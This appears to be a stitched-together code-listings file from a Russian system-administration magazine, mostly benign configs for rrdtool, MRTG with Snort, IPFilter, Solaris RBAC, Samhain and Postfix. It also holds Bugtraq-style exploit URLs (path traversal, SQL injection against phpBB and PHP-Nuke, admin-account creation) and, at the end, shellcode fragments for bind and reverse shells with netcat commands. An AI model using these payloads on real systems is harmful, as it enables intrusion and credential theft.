bugtraq стр. 4 https://victim:8443/plugins/hpjwja/firmware /printer/ https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? setinclude=../../../../../../../boot.ini https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? setinclude=../../../hpjwja/firmware/printer/test.inc https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? setinclude=../../../../../auth/local.users Запуск Windows-приложений под Linux c помощью CrossOver Office Часть 3 Андрей Бешков $ /opt/cxoffice/bin/wine --debugmsg warn+reg имя программы $ /opt/cxoffice/bin/wine --debugmsg +reg имя программы $ /opt/cxoffice/bin/wine --debugmsg +loaddll, err-reg имя программы $ /opt/cxoffice/bin/wine --cx-log logfile.txt --debugmsg +file ./Ussp30to.exe $ /opt/cxoffice/bin/wine --debugmsg +file ./Usspro.exe $ /opt/cxoffice/bin/wine --debugmsg +loaddll ./Usspro.exe $ /opt/cxoffice/bin/wine --dll shdocvw,shlwapi=b ./Usspro.exe [AppDefaults\\Usspro.exe\\DllOverrides] ; Ulead Smart Saver Pro 3.0 "shdocvw" = "builtin" "shlwapi" = "builtin $ cat uedit_file_inst.log | grep Write | grep SUCCESS | cut -f5> | grep -v "TEMP" | sort -u > uedit_file_inst_selected.log $ cat uedit_reg_inst.log | grep SUCCESS | grep "SetValue" | cut -f5 | sort -u > tmp.log $ cat temp.log | sed -e 's/HKCR/HKEY_CLASSES_ROOT/' -e 's/HKCU/HKEY_CURRENT_USER/' -e 's/HKLM/HKEY_LOCAL_MACHINE/' -e 's/HKU/HKEY_USER S/' -e 's/HKCC/HKEY_CURRENT_CONFIG/' -e 's/HKDD/HKEY_DYN_DATA/' > uedit_reg_inst_selected.log $ echo "REGEDIT4" > final.reg; cat *.reg | grep -v "REGEDIT4" >> final.reg $ /opt/cxoffice/bin/regedit final.reg bugtraq стр. 15 http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/* Использование rrdtool для мониторинга сети Всеволод Стахов rrdtool create filename.rrd --step длительность_шага DS:имя_источника_данных:тип_источника:интервал_определенности:min:max RRA:функция_консолидации:достоверность:отсчетов_на_ячейку:число_ячеек rrdtool create /usr/local/var/rrdtool/myrouter.rrd --step 300 DS:input:COUNTER:600:U:U DS:output:COUNTER:600:U:U RRA:AVERAGE:0.5:1:600 RRA:AVERAGE:0.5:6:700 RRA:AVERAGE:0.5:24:775 RRA:AVERAGE:0.5:288:797 RRA:MAX:0.5:1:600 RRA:MAX:0.5:6:700 RRA:MAX:0.5:24:775 RRA:MAX:0.5:288:797 rrdtool update имя_rrdb.rrd время:значение_DS1[:значение_DS2[:...]] -- #!/bin/sh cpuload=`sysctl vm.loadavg | awk '{printf("2k 100 %s * p", $4)}' | dc | awk -F'.' '{print $1}'` inbytes=`ipfw show 1 | awk '{print $3}'` outbytes=`ipfw show 2 | awk '{print $3}'` /usr/local/bin/rrdtool update /usr/local/var/rrdtool/cpu.rrd N:${cpuload} /usr/local/bin/rrdtool update /usr/local/var/rrdtool/myrouter.rrd N:$inbytes:$outbytes # ipfw list 00001 count ip from me to any 00002 count ip from any to me rrdtool create /usr/local/var/rrdtool/cpu.rrd -s 60 DS:cpuusage:GAUGE:600:0:U RRA:AVERAGE:0.5:1:483840 RRA:MIN:0.5:1440:1 RRA:MAX:0.5:1440:1 rrdtool graph filename [опции] [определения переменных] [задание графических элементов] TAG:#rgbcolor DEF:имя_переменной=rrdb:ds-name:функция_консолидации 2 3 + поместить в стек число 2 2 -> . поместить в стек число 3 2 -> 3 -> . взять из стека два числа и сложить их, результат поместить обратно в стек 5 -> . CDEF:имя_переменной=выражение Тип:имя_переменной[#rgbcolor[:легенда]] GPRINT:имя_переменной:функция_консолидации:формат %lf\c #/bin/sh WWWPREFIX=/usr/local/www/htdocs/rrdtool RRDPREFIX=/usr/local/var/rrdtool /usr/local/bin/rrdtool graph $WWWPREFIX/cpuusage.png --width 400 --start -1d --end now --title "CPU usage" DEF:cpuusage=$RRDPREFIX/cpu.rrd:cpuusage:AVERAGE "CDEF:percent=cpuusage" CDEF:huge=percent,50,GT,percent,0,IF CDEF:good=percent,50,GT,0,percent,IF HRULE:100#0000FF:"Maximum allowed" AREA:good#00FF00:"Good load" AREA:huge#FF0000:"Overload!!" /usr/local/bin/rrdtool graph $WWWPREFIX/myrouter.png --width 400 --start -1d --end now --title "Network usage" DEF:inoctets=$RRDPREFIX/myrouter.rrd:input:AVERAGE DEF:outoctets=$RRDPREFIX/myrouter.rrd:output:AVERAGE "CDEF:inbits=inoctets,8,*" "CDEF:outbits=outoctets,8,*" AREA:inbits#00FF00:"In traffic" LINE1:outbits#0000FF:"Out traffic" * * * * * root /usr/local/libexec/rrdtools-update.sh > /dev/null #!/usr/local/bin/rrdcgi RRDCGI Demo

Demo of CPU usage graph

' DEF:cpuusage=/usr/local/var/rrdtool/cpu.rrd:cpuusage:AVERAGE "CDEF:percent=cpuusage" CDEF:huge=percent,50,GT,percent,0,IF CDEF:good=percent,50,GT,0,percent,IF HRULE:100#0000FF:"Maximum allowed" AREA:good#00FF00:"Good load" AREA:huge#FF0000:"Overload!!">

MRTG + snort Павел закляков mrtg.cfg # Рабочая директория mrtg, где создаются поддиректории # для отчётов, обычно она уже указана WorkDir: /var/www/html/mrtg # Выбор языка – вносит в заголовок html-cтроку # с CONTENT="text/html; charset=koi8-r" и локализует # html-файлы создаваемых отчётов Language: russian # Внешний файл, который будет являться источником данных # для mrtg, записывается в обратных кавычках Target[snort]:`/etc/mrtg/snort_stat.pl` # Максимальное число атак в единицу времени # Значения выше игнорируются, нужно больше для наглядности MaxBytes[snort]: 2000 AbsMax[snort]: 2000 # Заголовок окна браузера, тег в html Title[snort]: Статистика атак (данные Snort) # Заголовок страницы с графиками PageTop[snort]: <H1>Статистика атак (данные Snort)</H1> # Поддиректория в WorkDir, где будут создаваться отчёты Directory[snort]: snort # Размер графиков по ширине в точках XSize[snort]: 600 # Размер графиков по высоте в точках YSize[snort]: 160 # Подпись графиков по оси ординат YLegend[snort]: Attacks per minute # Подпись легенды, пояснение, что именно за график # нарисован таким-то цветом.(Необходимо, чтобы не # запутаться, когда графиков несколько) Legend1[snort]: Число атак в минуту # Убрать лишнюю информацию LegendI[snort]:   LegendO[snort]: # Задать направление рисования графиков и что значения, # выдаваемые программой, указанной в Target, являются # абсолютными Options[snort]: absolute, growright # Подпись единиц измерения атак ShortLegend[snort]: атак/мин SELECT count(timestamp) FROM event WHERE unix_timestamp(now())-unix_timestamp(timestamp)<300 # mysql -u snort -p mysql> USE snort; Файл snort_stat.pl #!/usr/bin/perl # Файл, выдающий число атак за последние 300 секунд use DBI; # Хост, где запущена БД MySQL $hostname="адрес_хоста_MySQL_с_БД_snort"; # Порт, на котором запущена БД MySQL $port="3306"; # Имя пользователя, от которого подключаться к БД $user="snort"; # Пароль пользователя, указанного выше $password="пароль_подключения_к_БД"; # Имя БД, к которой осуществляется подключение $database="snort"; # Подключиться к БД $dbh = DBI->connect("DBI:mysql:$database:$hostname:$port",$user,$password); # Подготовить SQL-запрос, выполняющий подсчёт числа атак # за последние 300 секунд на выполнение $sth = $dbh->prepare("SELECT count(timestamp) FROM event WHERE unix_timestamp(now())-unix_timestamp(timestamp)<300"); # Выполнить запрос $sth->execute; # Результат выполненного ранее запроса поместить в массив ref @ref = $sth->fetchrow_array; # Вывести полученное в результате запроса значение print $ref[0],"\n"; # Завершить работу с БД и отключиться от неё. $rc = $sth->finish; $rc = $dbh->disconnect; # Вывести дополнительные значения, необходимые для соблюдения # формата передачи данных в mrtg print "0\n"; print "0\n"; print "snort\n"; # chmod +x /etc/mrtg/snort_stat.pl # rpm -qa|grep perl # rpm -ihv perl-DBI-1.21-1.i386.rpm # rpm -ihv perl-DBD-MySQL-1.2219-6.i386.rpm 19 0 0 snort # ls /var/www/html/mrtg/snort # mrtg-статистика 0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log INSERT – Inside Security Rescue Toolkit Сергей Яремчук #if=mounted_cdrom_directory/INSERT/boot.img of=/dev/fd0 bs=18k #mount /mnt/hda3 #ifconfig eth0 192.168.0.20 netmask 255.255.255.0 #route add default gw 192.168.0.254 nameserver 192.168.0.254 Зеркалирование информации Александр Байрак #cd /etc #mkdir –p cvsup/sup #cd cvsup/sup #mkdir ftp info user22 #touch ftp.cvs Upgrade ftp rsymlink * #touch releases ftp list=ftp.cvs prefix=/var #cvsupd –b /etc/cvsup –C 1 –l /dev/stdout *default host=hostname *default delete use-rel-suffix *default compress *default preserve *default base=/backup/var *default releases=ftp ftp #cvsup –L 2 /etc/mirror Знакомство с Open WebMail Андрей Маркелов tar -zxvf <имя_архива>.tar.gz cd perl Makefile.PL make make install tar -zxvf libiconv-1.9.1.tar.gz cd libiconv-1.9.1 ./configure make make install tar -zxvf Text-Iconv-1.2.tar.gz cd Text-Iconv-1.2 'LIBS' => ['-L/usr/local/lib -liconv'], 'INC' => '-I/usr/local/include', perl Makefile.PL make make test make install cd /var/www tar -zxvBpf openwebmail-2.30.tgz mv data/openwebmail html/ rmdir data passwdfile_encrypted '/etc/shadow' passwdmkdb 'none' mailspooldir '/var/spool/mail' ow_htmldir '/var/www/html/openwebmail' ow_cgidir '/var/www/cgi-bin/openwebmail' /var/www/cgi-bin/openwebmail/openwebmail-tool.pl –init http://<сервер>/cgi-bin/openwebmail/openwebmail.pl http://<сервер>/cgi-bin/openwebmail/openwebmail.pl? loginname=USER&password=PASS Postfix как шлюз для Exchange Игорь Полянский 250-TURN 250-ATRN 250-SIZE 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250-X-EXPS GSSAPI NTLM LOGIN 250-X-EXPS=LOGIN 250-AUTH GSSAPI NTLM LOGIN 250-AUTH=LOGIN 250-X-LINK2STATE 250-XEXCH50 250 OK myhostname = host.domain.ru mydomain = domain.ru mynetworks = 127.0.0.0/8, 192.168.100.0/24 mynetworks = 127.0.0.0/8, 192.168.100.20 local_recipient_maps = mydestination = $myhostname, localhost.$mydomain, $mydomain, domain2.ru, domain3.ru transport_maps = hash:/usr/local/etc/postfix/transport domain.ru smtp:[192.168.100.20] domain2.ru smtp:[192.168.100.20] domain3.ru smtp:[192.168.100….] postmap transport postfix reload LoadModule proxy_module libexec/apache2/mod_proxy.so LoadModule proxy_http_module libexec/apache2/mod_proxy_http.so ProxyRequests Off ProxyPass /exchange http://192.168.100.20/exchange ProxyPassReverse /exchange http://192.168.100.20/exchan IPFilter с самого начала Татьяна Ильченко <ACT> [Res] <pTYP> [aLOG] [aKEY] <nDEV> [fastroute] <tPROT> <aSRC> <aDST> [pDST] [FLAGS][KW] pass out quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8 pass in quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8 # Блокируем все входящие IP-соединения на lo0 # из сети 127.0.0.0/88 block in quick on lo0 proto ip from any to 127.0.0.0/8 # Блокируем все входящие IP/TCP/UDP-соединения # на внешнем интерфейсе block in log on fxp1 proto ip from any to any block in log on fxp1 proto tcp from any to any block in log on fxp1 proto udp from any to any pass out quick on fxp1 log proto tcp/udp from 213.27.10.xx/32 to any keep state pass in quick on fxp1 log proto tcp from any to 213.27.10.xx/32 port = 21 flags S keep state #http pass in log quick on fxp1 proto tcp from any to 213.27.10.xx/32 port = 80 flags S keep state keep frags pass out log quick on fxp1 from 213.27.10.xx/32 to any # https pass out log quick on fxp1 proto tcp from 213.27.10.xx/32 to any port = 443 keep state keep frags pass in log quick on fxp1 proto tcp from any to 213.27.10.xx/32 port = 443 keep state keep frags pass out log quick on fxp1 proto tcp from 213.27.10.xx/32 to any port = 25 keep state keep frags pass in log quick on fxp1 proto tcp from any to 213.27.10.xx/32 port = 25 keep state keep frags pass in log quick on fxp1 proto udp from any to 213.27.10.xx/32 port = 53 keep frags pass out log quick on fxp1 proto udp from 213.27.10.xx/32 to any port = 53 keep frags pass in log quick on fxp1 proto tcp from any to 213.27.10.xx/32 port = 53 keep state keep frags pass out log quick on fxp1 proto tcp from 213.27.10.xx/32 to any port = 53 keep state keep fra pass out log quick on fxp1 proto tcp from 192.168.10.48/32 to 194.84.xx.xx/32 port = 1352 keep state keep frags pass in log quick on fxp1 proto tcp from 194.84.xx.xx/32 to 192.168.10.48/32 port = 1352 keep state keep fragsgs pass out log quick on fxp1 from 213.27.10.xx/32 to any block out log quick on fxp1 from any to any map fxp1 192.168.10.0/16 -> 0/32 map fxp1 192.168.10.48/32 -> 213.27.10.xx/32 rdr fxp1 213.27.10.xx/32 port 1352 -> 192.168.10.48 port 1352 # отключаем NAT-демон, оставшийся от IPFW natd_enable="NO" # запуск IPFilter при старте системы ipfilter_enable="YES" # путь к команде ipf, если вам неизвестен whereis, ipf вам поможет ipfilter_program="/sbin/ipf" # полный путь к файлу с правилами фильтрации ipfilter_rules="/etc/ipf.rules" # запуск ipnat при старте системы ipnat_enable="YES" # путь к команде ipnat, опять же находится по whereis ipnat ipnat_program="/sbin/ipnat" # полный путь к файлу с правилами трансляции и редиректа ipnat_rules="/etc/ipnat.rules" # дополнительные параметры команды ipnat ipnat_flags="" # запуск ipmon при старте системы ipmon_enable="YES" # путь к команде ipmon, тут уже понятно, да? ipmon_program="/sbin/ipmon" # параметры команды ipmon ipmon_flags=" -D /var/log/ipmon.log &" options IPFILTER # включаем поддержку ipf options IPFILTER_LOG # логирование ipf pseudo-device bpf 4 # cd /usr/ports/sysutils/logrotate # make # make install # man logrotate # cd /usr/local/etc/logrotate.conf.sample # cp logrotate.conf.sample logrotate.conf # начало описания, указываем путь, к файлу протокола /var/log/ipmon.log { daily # периодичность ротации – ежедневно rotate 14 # количество хранимых фрагментов missingok # отсутствие файла ipmon.log не является ошибкой notifempty # не обрабатывать, если файл пустой noolddir # держать все файлы в одном и том же каталоге compress # сжимать «ротированные» фрагменты postrotate # здесь мы описываем, что нужно сделать после ротации – перезапустить процесс ipmon /sbin/killall –HUP ipmon endscript # конец описания действий после ротации } # конец описания ротации файла протокола # IPFilter 0 1 * * * /usr/local/sbin/logrotate –s /var/lib/logrotate.status /usr/local/etc/logrotate.conf # ipf -Fa -f /etc/ipf.rules # ipnat -CF -f /etc/ipnat.rules Role based access control (RBAC) в Solaris 9 Дмитрий Селезнев solaris.admin.usermgr.read solaris.admin.usermgr.write solaris.admin.usermgr.passwd user/role name:нечто1:нечто2:нечто3:список атрибутов # Copyright (c) 1999-2001 by Sun Microsystems, Inc. # All rights reserved. # # /etc/user_attr # # user attributes. see user_attr(4) # #pragma ident "@(#)user_attr 1.5 01/12/11 SMI" # root::::auths=solaris.*,solaris.grant;profiles=All lp::::profiles=Printer Management adm::::profiles=Log Management master::::type=role;profiles=Primary Administrator team::::type=role;profiles=Device Management,Media Backup,Media Restore,Log Management ivanov::::type=normal;roles=master petrov::::type=normal;roles=team profile_name:::описание:атрибуты Device Management:::Control Access to Removable Media:auths=solaris.device.*,solaris.admin.serialmgr.*;help=RtDeviceMngmnt.htmlAll:::Execute any command as the user or role:help=RtAll.html auth_name:::краткое описание:подробное описание:атрибуты solaris.device.::: Device Allocation::help=DevAllocHeader.htmlsolaris.device.grant:::Delegate Device Administration::help=DevGrant.html. prof_name:policy:тип:::команда:атрибуты # Copyright 1999-2002 Sun Microsystems, Inc. # All rights reserved. # Use is subject to license terms. AUTHS_GRANTED=solaris.device.cdrw PROFS_GRANTED=Basic Solaris User ...team:x:102:1:Operators' Team:/export/home/team:/bin/pfshivanov:x:103:1:V. Ivanov:/export/home/ivanov:/usr/bin/bash... ...master::::type=role;profiles=Primary Administratorivanov::::type=normal;roles=masterteam::::type=role;profiles=Device Management,Media Backup,Media Restore,Log Managementpetrov::::type=normal;roles=team... # roleadd -m -d /export/home/master -c "Main Admins" -P "Primary Administrator" master # roleadd -m -d /export/home/team -c "Operators' team" -P "Device Management,Media Backup,Media Restore,Log Management" te master:#useradd -m -d /export/home/ivanov -c "V. Ivanov" -s /usr/bin/bash -R master #useradd -m -d /export/home/petrov -c "V. Ivanov" -s /usr/bin/bash -R petrov Централизованное обнаружение вторжения с Samhain Сергей Яремчук #tar xvzf samhain-current.tar.gz #/usr/bin/gpg --keyserver pgp.mit.edu --recv-key 0F571F6C #/usr/bin/gpg --verify samhain-1.8.3.tar.gz.asc samhain-1.8.3.tar.gz # md5sum samhain-1.8.3.tar.gz e959ccc997e74e13a037c3281c41a581 samhain-1.8.3.tar.gz # whereis dialog dialog: /usr/bin/dialog /usr/share/man/man1/dialog.1.gz # mv /usr/bin/dialog /usr/bin/dialog_bak #./configure [options] #make #su $make install [Utmp] # включение/выключение проверок (0 – off, 1 – on) LoginCheckActive=1 # интервал времени между проверками в секундах LoginCheckInterval=600 # серьезность события, достаточно информационного SeverityLogin=info SeverityLogout=info # а вот если один и тот же пользователь зарегистрировался # многократно, то это событие скорее критическое SeverityLoginMulti=crit [SuidCheck] # включение/выключение проверок (0 – off, 1 – on) SuidCheckActive=1 # интервал между проверками в секундах # (по умолчанию – 7200 сек., т.е. 2 часа) # SuidCheckInterval=86400 # или можно задать время проверки в стиле crontab, # например, в 05:30 каждый день, чтобы, придя # на работу, получить информацию. SuidCheckSchedule=30 5 * * * # серьезность события, естественно, критическая SeveritySuidCheck=crit # так можно исключить один каталог из списка проверяемых # (например, строка для Solaris) #SuidCheckExclude=/net/localhost # так как проверка SUID/SGID – дело накладное, то можно # ограничить количество проверяемых файлов в секунду # (files per seconds) SuidCheckFps=250 [Kernel] # включение/выключение проверок (0 – off, 1 – on) KernelCheckActive=1 # интервал между проверками в секундах (по умолчанию 300) KernelCheckInterval=20 # проверка interrupt descriptor table # (по умолчанию TRUE) KernelCheckIDT=TRUE # серьезность события SeverityKernel=crit [Mounts] # включение/выключение проверок (0 – off, 1 – on) MountCheckActive=1 # интервал между проверками в секундах MountCheckInterval=7200 # серьезность события, отслеживается правильность # монтирования и корректность опции монтирования SeverityMountMissing=warn SeverityOptionMissing=warn # перечисляются точки монтирования со списками # параметров, которые нужно отслеживать checkmount=/ checkmount=/var checkmount=/usr checkmount=/tmp noexec,nosuid,nodev checkmount=/home noexec,nosuid,nodev [UserFiles] # UserfilesActive=1 # включение/выключение проверок (0 – off, 1 – on) # файлы, проверяемые в каждом $HOME # возможно задание следующих уровней, отслеживающих # определенные изменения, по умолчанию используется # noignore # allignore # attributes # logfiles # loggrow # noignore # readonly # user0 # user1 # UserfilesName=.login noignore UserfilesName=.profile readonly UserfilesName=.ssh/authorized_keys # # возможно задание списка проверяемых UID, по умолчанию # проверяются все пользователи UserfilesCheckUids=0,100-500,1000- # chown root:root /etc/samhainrc # su postgres $ createdb samhain $ createuser samhain $ psql -d samhain < samhain.postgres.init $ exit #mysql -p -u root < samhain.mysql.init #mysql -p -u root #mysqladmin -p -u root reload [Log] DatabaseSeverity=warn [Database] SetDBName=db_name SetDBTable=db_table SetDBHost=db_host SetDBUser=db_user SetDBPassword=db_password SetDBServerTstamp=true/false – timestamp для сообщений клиентов gpg -a --clearsign --not-dash-escaped FILE #/usr/bin/gpg --load-extension tiger --print-md TIGER192/usr/bin/gpg --with-checksum="/usr/bin/gpg: 1C739B6A F768C949 FABEF313 5F0B37F5 22ED4A27 60D59664" # /usr/bin/gpg --gen-key # gpg --fingerprint Jaremchuk samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg --with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333 --enable-login-watch --enable-mounts-check --enable-userfiles --enable-static --enable-network=client --enable-suidcheck --with-trusted=0,500 --with-recipient=sergej@ logserver.com --enable-xml-log --with-logserver=logserver.com --with-config-file=REQ_FROM_SERVER/etc/samhainrc --with-kcheck=/boot/ System.map # export PATH=$PATH:/usr/local/bin samhain --add-key=key@/usr/local/sbin/samhain samhain-1.8.3 # make samhain-1.8.3 # make install samhain-1.8.3 # make install-boot ./samhain-install.sh --destdir= --express --verbose install-boot Linux Standard Base system detected /usr/bin/ginstall -c -m 700 init/samhain.startLSB/etc/init.d/samhain /usr/lib/lsb/install_initd /etc/init.d/samhain installing init scripts completed [Attributes] # для файлов, указанных в этом разделе, будут # контролироваться атрибуты доступа file=/etc/mtab file=/etc/ssh_random_seed file=/etc/asound.conf file=/etc/resolv.conf file=/etc/localtime file=/etc/ioctl.save file=/etc [LogFiles] # в этих файлах будут проверяться все, за исключением # временных меток доступа, размера и изменение сигнатуры file=/var/run/utmp file=/etc/motd [GrowingLogFiles] # то же, что и предыдущий пункт, только изменение размера # файла будет проигнорировано лишь в случае увеличения # размера файла file=/var/log/warn file=/var/log/messages file=/var/log/wtmp file=/var/log/faillog [IgnoreAll] # все изменения в этих файлах не попадут в отчет, но они все # же проверяться будут, сюда можно поместить не нуждающиеся # в проверке файлы при рекурсивном обходе каталога file=/etc/resolv.conf.pcmcia.save [IgnoreNone] # для этих файлов будут выводиться в отчет все возможные # изменения, разработчики рекомендуют создать подставной # файл вроде /etc/passwd.bak и отслеживать попытку обращения # к нему [ReadOnly] # для этих файлов игнорируется время доступа dir=/usr/bin dir=/bin dir=3/sbin dir=/usr/sbin dir=/lib dir=3/etc dir=/boot @HOSTNAME file=/path/to/file @end !@ HOSTNAME file=/path/to/file @end $sysname:release:machine # чтение, только если sysname:release:machine # соответствует локальному компьютеру $end !$sysname:release:machine # наоборот $end %SCHEDULE_TWO dir=/check/only/once/per/day !%SCHEDULE_TWO FileCheckScheduleTwo=00 * * * * [EventSeverity] #ниже указаны уровни нарушения соответствующих политик SeverityReadOnly=crit SeverityLogFiles=crit SeverityGrowingLogs=crit SeverityIgnoreNone=crit SeverityAttributes=crit # SeverityIgnoreAll=info # ошибки доступа к файлам и каталогам SeverityFiles=err SeverityDirs=err # непонятные имена файлов или недопустимый UIDS/GIDS, # который не принадлежит ни одному пользователю или группе SeverityNames=info [Log] # пример использования спецификаторов # MailSeverity=* # MailSeverity=!warn # MailSeverity==crit # пороги для каждого регистрирующего устройства MailSeverity=none PrintSeverity= info LogSeverity= err LogClass=RUN FIL STAMP SyslogSeverity=none ExportSeverity=warn PreludeSeverity=none DatabaseSeverity=err # системные вызовы LogCalls=open, kill, setuid, setgid [Misc] # старт в виде процесса-daemonа Daemon=yes # максимальное время между сообщениями клиентов в секундах # (только для log-server; по умолчанию 86400 сек. = 1 день) # SetClientTimeLimit=1800 # время между проверками файлов в секундах (600) #SetFilecheckTime=1000 #или проверка в стиле crontab #FileCheckScheduleOne=00 * * * * # для файлов раздела SCHEDULE_TWO #FileCheckScheduleTwo=00 * * * * # максимальное время между отправками почты, все сообщения # кроме аварийных при этом будут накапливаться (86 400 сек.) #SetMailTime=43200 # максимальная задержка во внутренней очереди от 0 до 127 # (по умолчанию 10) #SetMailNum=10 # установка адреса получателя, позволяется до 8 адресов # до 63 символов. SetMailAddress=root@localhost # host для отправки почты по умолчанию локальный – none # SetMailRelay=relay.yourdomain.com или IP-адрес # Для проверки модификаций между запуском программы # и выходом. # SamhainPath=/usr/local/bin/samhain # time-сервер (порт 37/tcp) # SetTimeServer=localhost # log-сервер # SetLogServer=localhost # timestamp в местном времени или GMT UseLocalTime=yes # интервал между сообщениями timestamps, которые будут # вставлены в сообщения в таком виде # MARK : [2004-03-21T19:49:45+0200] msg=<-- TIMESTAMP --> # 77B71CEA79D01107AE9FAA66233A059D0FDC3B33FBA74700 # SetLoopTime=60 # сюда можно добавить доверенных пользователей, не включенных # при компиляции (root и пользователь, от имени которого # выполняется программа, всегда доверенные) # TrustedUser=bin # чем занимаемся: инициализацией базы данных, обновлением # или проверкой файлов, если none (режим по умолчанию), # то команда задается в строке запуска. init|update|check|none ChecksumTest=check # установка глобального значения рекурсии (максимум 99, # по умолчанию - 0) SetRecursionLevel=20 # приоритет процесса проверки файлов #SetNiceLevel=-19..19 # все клиентские сообщения по умолчанию записываются в один # log. Опция позволяет использовать индивидуальные журналы #UseSeparateLogs=yes/no # возможно переопределение консоли, в том числе # и использование pipe-каналов. #SetConsole=device # использование соответствующих алгоритмов для вычисления # значения контрольных сумм файлов, вместо TIGER # (используйте один и тот же тип сигнатуры на сервере # и клиентах) #DigestAlgo=MD5 #DigestAlgo=SHA1 # упрощенная сигнатура, может понадобиться для повышения # быстродействия, подробнее в разделе "Performance tuning" #MACType=HASH-TIGER # начиная с версии 1.7.0, yule может после запуска переходить # в chroot (подробнее в документации) #SetChrootDir=path # опция, необходимая для включения прослушивания UDP-порта # log-сервером (при компилировании с опцией --enable-udp) SetUDPActive=yes # если в вашем выводе много сообщений об изменении CTIME, # что может происходить при использовании некоторых систем # резервирования, то может помочь нижняя опция, отключающая # эту проверку #RedefReadOnly=-CTM # формат заголовка сообщения # %S серьезность # %T timestamp # %C class # %F исходный файл # %L исходная строка # MessageHeader="%S %T " [EOF] # gpg -a --clearsign --not-dash-escaped /etc/samhainrc # mv -f /etc/samhainrc.asc /etc/samhainrc # cat /etc/samhainrc | gpg --status-fd 1 --verify --homedir /root/.gnupg --no-tty # /usr/local/sbin/samhain -t init # gpg -a --clearsign --not-dash-escaped /var/lib/samhain/samhain_file # mv /var/lib/samhain/samhain_file.asc /var/lib/samhain/samhain_file samhain -t check samhain -t update samhain -D -t check samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg --with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333 --enable-static --enable-network=server --with-database=mysql --with-trusted=0,500 --with-libwrap=/usr/lib/libwrap.a # whereis libwrap libwrap: /usr/lib/libwrap.a --with-data-file=REQ_FROM_SERVER/var/lib/samhain/data.samhain samhain-1.8.3 # make samhain-1.8.3 # make install samhain-1.8.3 # make install-boot # /usr/local/sbin/yule -G 477631269C2CC74B # ./samhain_setpwd samhain new 477631269C2CC74B # cp /usr/local/sbin/samhain.new /usr/local/sbin/samhain # /usr/local/sbin/yule -P 477631269C2CC74B bugtraq стр. 61 http://localhost/nuke71/modules.php? name=Private_Messages&file=index&folder=inbox&mode=read&p=1&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox http://localhost/nuke71/admin.php? op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox http://[hostname]/[cgialias]/hsrun.exe/[ServerGroupName]/[ServerGroupName]/[VeryLongProjectName].htx;start=[PageName] Побег через брандмауэр плюс терминализация всей NT Крис Касперски Листинг 1. Ключевой фрагмент shell-кода, открывающего на атакуемом сервере новый порт. // порт, который эксплоит будет слушать #define HACKERS_PORT 666 // шаг 1: создаем сокет if ((lsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // шаг 2: связываем сокет с локальным адресом laddr.sin_family = AF_INET; laddr.sin_port = htons(HACKERS_PORT); laddr.sin_addr.s_addr = INADDR_ANY; if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1; // шаг 3: слушаем сокет if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n"); // шаг 4: обрабатываем входящие подключения csocket = accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)); … // удаленный shell sshell(csocket[0], MAX_BUF_SIZE); … // шаг 5: подчищаем за собой следы closesocket(lsocket); netcat "адрес атакуемого" 666 telnet "адрес атакуемого" 666 Листинг 2. Ключевой фрагмент shell-кода, устанавливающий исходящее соединение #define HACKERS_PORT 666 #define HACKERS_IP "127.0.0.1" … // шаг 1: создаем сокет if ((csocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // шаг 2: устанавливаем соединение caddr.sin_family = AF_INET; caddr.sin_port = htons(HACKERS_PORT); caddr.sin_addr.s_addr = inet_addr(HACKERS_IP); if (connect(csocket, (struct sockaddr*)&caddr, sizeof(caddr))) return -1; // шаг 3: обмениваемся данными с сокетом sshell(csocket, MAX_BUF_SIZE ); netcat –l –p 666 Листинг 3. Ключевой фрагмент shell-кода, осуществляющий поиск сокета "своего" соединения // шаг 1: перебираем все дескрипторы сокетов один за другим for (a = 0; a < MAX_SOCKET; a++) { *buff = 0; // очищаем имя сокета // шаг 2: получаем адрес, связанный с данным дескриптором (конечно, при условии, что с ним вообще что-то связно) if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, (int *) buff) != -1) { // шаг 3: идентифицируем свое TCP/IP-соединение по своему порту if (htons(faddr.sin_port) == HACKERS_PORT) sshell((SOCKET) a, MAX_BUF_SIZE); } } // шаг 4: подчищаем за собой следы closesocket(fsocket); netcat "адрес атакуемого" 666 setsockopt(rsocket, SOL_SOCKET, SO_REUSEADDR, &n_reuse, sizeof(n_reuse)) Листинг 4. Ключевой фрагмент shell-кода, осуществляющий re-bind открытого порта // шаг 1: создаем сокет if ((rsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; // шаг 2: присваиваем атрибут SO_REUSEADDR if (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , &n_reuse, 4)) return -1; // шаг 3: связываем сокет с локальным адресом raddr.sin_family = AF_INET; raddr.sin_port = htons(V_PORT); // уязвимый порт raddr.sin_addr.s_addr = INADDR_ANY; if (bind(rsocket,(struct sockaddr *) &raddr, 